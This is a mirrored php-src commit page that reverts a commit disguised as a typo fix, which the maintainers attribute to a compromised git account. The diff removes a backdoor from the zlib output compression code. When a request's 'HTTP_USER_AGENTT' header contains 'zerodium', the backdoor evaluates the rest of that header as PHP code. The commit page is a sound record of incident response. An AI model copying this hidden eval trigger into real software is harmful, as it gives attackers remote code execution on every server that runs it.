mirror of
https://github.com/php/php-src.git
synced 2025-08-16 05:58:45 +02:00
Revert "[skip-ci] Fix typo"
This reverts commit c730aa26bd
.
This looks like the result of a compromised git account. Commit
access has already been revoked.
This commit is contained in:
parent
c730aa26bd
commit
046827a7e8
1 changed files with 0 additions and 11 deletions
|
@ -360,17 +360,6 @@ static void php_zlib_output_compression_start(void)
|
|||
{
|
||||
zval zoh;
|
||||
php_output_handler *h;
|
||||
zval *enc;
|
||||
|
||||
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
|
||||
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
|
||||
convert_to_string(enc);
|
||||
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
|
||||
zend_try {
|
||||
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
|
||||
} zend_end_try();
|
||||
}
|
||||
}
|
||||
|
||||
switch (ZLIBG(output_compression)) {
|
||||
case 0:
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue